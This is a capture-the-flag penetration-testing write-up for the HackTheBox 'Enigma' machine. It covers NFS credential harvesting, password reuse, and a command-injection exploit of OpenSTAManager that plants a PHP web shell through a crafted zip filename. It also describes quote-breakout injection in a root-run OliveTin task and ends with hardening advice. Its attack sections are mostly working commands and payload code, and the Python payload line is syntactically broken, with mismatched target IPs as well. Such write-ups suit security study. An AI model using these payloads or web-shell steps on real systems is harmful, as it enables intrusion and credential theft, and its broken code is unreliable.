

PENETRATION TESTING REPORT: ENIGMA

(HACKTHEBOX)

Target Machine:	Enigma (HackTheBox)
Difficulty Level:	Easy
OS Platform:	Linux

Executive Summary

Enigma is an Easy-difficulty Linux machine that demonstrates the severe security risks associated with unauthenticated file shares, loose credential rotation practices, and dangerous string concatenation patterns in administrative dashboards.

Initial access is achieved by enumerating a publicly exposed Network File System (NFS) share to harvest an onboarding document containing hardcoded webmail credentials. By exploiting credential reuse habits, an attacker can pivot across internal webmail profiles to discover hidden staging domains and operational configurations.

A critical Command Injection vulnerability (CVE-2025-69212) in an automated invoice parsing panel yields initial remote code execution (RCE). Local post-exploitation analysis reveals a loopback-bound application utility running as root (OliveTin v3000.10.0). While public unauthenticated web-facing exploit chains fail due to version routing disparities, the server's custom task configuration presents a distinct authenticated path to full administrative compromise.

Technical Attack Vector Timeline (TTPs)



Phase 1: Initial Reconnaissance

An initial service signature scan was executed across standard port ranges to identify network-facing protocols:

```
/usr/lib/nmap/nmap --privileged -sCV -F -oA nmap 10.129.182.217
```

Scan Output Summary

```
Nmap scan report for 10.129.89.52
Host is up (0.28s latency).
Not shown: 92 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://enigma.htb/
110/tcp   open  pop3     Dovecot pop3d
111/tcp   open  rpcbind  2-4 (RPC #1000000)
143/tcp   open  imap     Dovecot imapd (Ubuntu)
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp   open  ssl/pop3 Dovecot pop3d
2049/tcp  open  nfs_acl  3 (RPC #100227)
```

Routing Target Adjustments

Because the Nginx edge proxy explicitly enforces a strict redirection policy to the internal hostname enigma.htb, the environment's host resolution layout was configured manually:

```
echo "10.129.182.217 enigma.htb" | sudo tee -a /etc/hosts
```

Phase 2: Open Source Intelligence & NFS Enumeration

1. Share Map Assessment

The presence of the Network File System (NFS) protocol on port 2049 prompted an interrogation of exported file shares using showmount:

```
showmount -e 10.129.182.217
```

```
Export list for 10.129.182.217:
/srv/nfs/onboarding *
```

The wildcard character (*) indicated that anonymous, unauthenticated clients could mount and extract contents from the /srv/nfs/onboarding folder.

2. Document Extraction & Credential Harvesting

The remote file structure was mounted locally to parse exposed documents:

```
sudo mkdir -p /mnt/enigma_onboarding
sudo mount -t nfs 10.129.182.217:/srv/nfs/onboarding /mnt/enigma_onboarding
cd /mnt/enigma_onboarding && ls -la
```

```
-rw-r--r-- 1 root root 3124 Jun 28 07:35 New_Employee_Access.pdf
```

The underlying document layout was parsed directly inside the terminal context using pdftotext:

```
pdftotext New_Employee_Access.pdf output.txt && cat output.txt
```

```
Enigma Corp
IT Department - New Employee System Access

Employee: Kevin Mitchell
Webmail Access -> URL: http://mail001.enigma.htb
Username: kevin | Password: Enigma2024!
```

| Phase 3: Lateral Movement & Webmail Infiltration

1. DNS Matrix Update

The newly exposed webmail platform was added to the attacker's host configuration map:

```
10.129.182.217 enigma.htb mail001.enigma.htb
```

2. Mail Client Auditing (Kevin -> Sarah)

Authenticating to the Dovecot interface at http://mail001.enigma.htb as user kevin with the password Enigma2024! granted full inbox access. Communications within the mailbox revealed standard user staging conventions, showing that another new hire, sarah, shared the same initial setup password (Enigma2024!).

Swapping contexts to sarah's mailbox exposed a direct administrative notification from IT support detailing provisional credentials for a separate internal framework.

```
From: it@enigma.htb
Subject: Enigma Corp new creds

URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s
```

Phase 4: Exploitation & Initial Foothold (RCE)

1. Vulnerability Analysis (CVE-2025-69212)

The local /etc/hosts file was updated to route the newly uncovered domain support_001.enigma.htb.

Logging in using the administrative credentials (admin : Ne3s4rtars78s) exposed an operational panel driven by OpenSTAManager. Cross-referencing components confirmed that the software was vulnerable to an OS Command Injection flaw (CVE-2025-69212) residing in the system's compressed digital invoice (.p7m) handler.

2. Weaponized Archive Compilation & Execution

Because the server dynamically unpacks zip archives and passes internal file names directly into system commands without filtering, a custom deployment script was written to encapsulate a command string break directly into a filename reference:

```
import zipfile

cmd = "cd files && echo '<?php system($_GET["c"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m';{cmd};echo ".p7m"
with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
```

The output package exploit.zip was uploaded directly to the active web module endpoint:

```
http://support_001.enigma.htb/controller.php?id_module=14#tab_48
```

3. Shell Stabilization

The injection payload executed automatically upon extraction. A connection query verified access as the web service group:

```
curl http://support_001.enigma.htb/files/SHELL.php?c=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

A secondary interactive execution script was triggered to tunnel a full shell connection back over port 443, which was subsequently upgraded to an interactive TTY context via terminal device options:

```
# Incoming Connection Upgrade Sequence
python3 -c 'import pty; pty.spawn("/bin/bash")'
# [Ctrl + Z]
stty raw -echo; fg
export TERM=xterm
```

Phase 5: Local Privilege Escalation Audit

1. Database Setting Leaks & Context Shifting

The user home directories (/home/haris, /home/it, /home/kevin, /home/sarah) were locked down to standard user reading boundaries. To identify local service tokens, the OpenSTAManager connection configuration was read:

```
cat /var/www/html/openstamanager/config.inc.php
```

```
$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
```

A credential reuse check proved that the database password Fri3nds@9099 was reused as the operating system login credential for user haris:

```
www-data@enigma:/home$ su haris
Password: Fri3nds@9099

haris@enigma:~$ cat user.txt
# [USER FLAG SECURED SUCCESSFULLY]
```

2. Internal Port Auditing & OliveTin Discovery

An internal system networking review was performed to audit services restricted to the loopback address (127.0.0.1):

```
haris@enigma:~$ ss -lnpt
```

tcp	LISTEN	0	151	127.0.0.1:3306	0.0.0.0:*
tcp	LISTEN	0	4096	127.0.0.1:1337	0.0.0.0:*

A curl request to internal port 1337 confirmed the presence of a hidden instance of OliveTin, a macro-execution control center panel:

```
haris@enigma:~$ curl -i http://127.0.0.1:1337/  
# Output reveals <title>OliveTin</title>
```

Phase 6: OliveTin Technical Evidence & Target Mapping

1. Version Signature Fingerprinting

A target version check was executed directly against the local system utility to map out the current build environment:

```
haris@enigma:~$ /usr/local/bin/OliveTin --version
```

```
OliveTin 3000.10.0  
commit=d22bdeb  
date=2026-02-14
```

2. Proof-of-Concept Mismatch Analysis (Evaluating Dead Ends)

Initial public exploit analysis targeted standard unauthenticated remote webhook routes (/webhook/git-deploy). However, localized system inspection ruled out this specific attack vector based on the following structural anomalies:

- **Webhook Isolation:** Auditing the service profile configuration file at /etc/OliveTin/config.yaml confirmed that the webhooks: setting block is entirely absent.
- **Filesystem Assets Integrity:** Running a recursive system-wide grep returned zero occurrences of the git-deploy definition string anywhere on the host filesystem.
- **Routing Path Errors:** Probing the application's REST architecture returned an explicit 404 Not Found response on the standard discovery route (/api/actions). This confirmed that the public webhook vulnerability paths are completely unmapped or deprecated within this specific application build environment.

3. Privilege Context Validation

Process ownership parameters were reviewed to evaluate the potential security risk of the application structure:

```
haris@enigma:~$ ps -ef | grep -i olivetin
```

```
root      1517      1  0 10:35 ?        00:00:00 /usr/local/bin/OliveTin
```

Critical Analysis Finding: The application daemon runs as PID 1517 under the direct context of the root user.

4. Vulnerable Configuration Action File Analysis

While unauthenticated webhook paths are disabled, auditing the application's local configuration file at `/etc/OliveTin/config.yaml` exposed a high-severity configuration vulnerability inside a predefined server macro definition block:

```
- title: Backup Database
  id: backup_database
  icon: "☹"
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/
backup.sql"
  popupOnStart: execution-dialog
  arguments:
    - name: db_user
      type: ascii_identifier
      default: backup_svc
    - name: db_pass
      type: password
    - name: db_name
      type: ascii_identifier
      default: production
```

Vulnerability Mechanism

The script template string for the `backup_database` routine relies on raw string concatenation to supply user-defined values to an underlying terminal interface (`-p'{{ db_pass }}`).

Because the parameters are handled inside a standard system command execution shell wrapper rather than separated via distinct array indexing, supplying a string starting with a matching single quote escape sequence (`'`) breaks out of the database connection template. This permits injecting and running arbitrary commands with the privileges of the parent process wrapper (root).

Phase 7: Hardening & Strategic Recommendations

- **Implement Parameterized Execution Arrays:** Reconfigure dashboard script macros to drop raw terminal shell evaluations entirely. Transition commands to native parameter isolation arrays (e.g., using `exec.Command` in Go or `subprocess.Popen` with `shell=False` in Python) to prevent input operators from escaping execution bounds.
- **Enforce the Principle of Least Privilege:** Modify the application engine configuration parameters to drop system privileges during startup. The service binary must execute under a dedicated service group (e.g., `olivetin`) with restricted permissions rather than running natively as full system root.

- **Restrict Network File Sharing Access:** Reconfigure the directory export network variables on port 2049. Explicitly list trusted IP addresses or internal administrative networks instead of allowing wide, unauthenticated access configurations (*). Enforce strict password complexity and immediate rotation policies for all new user profiles.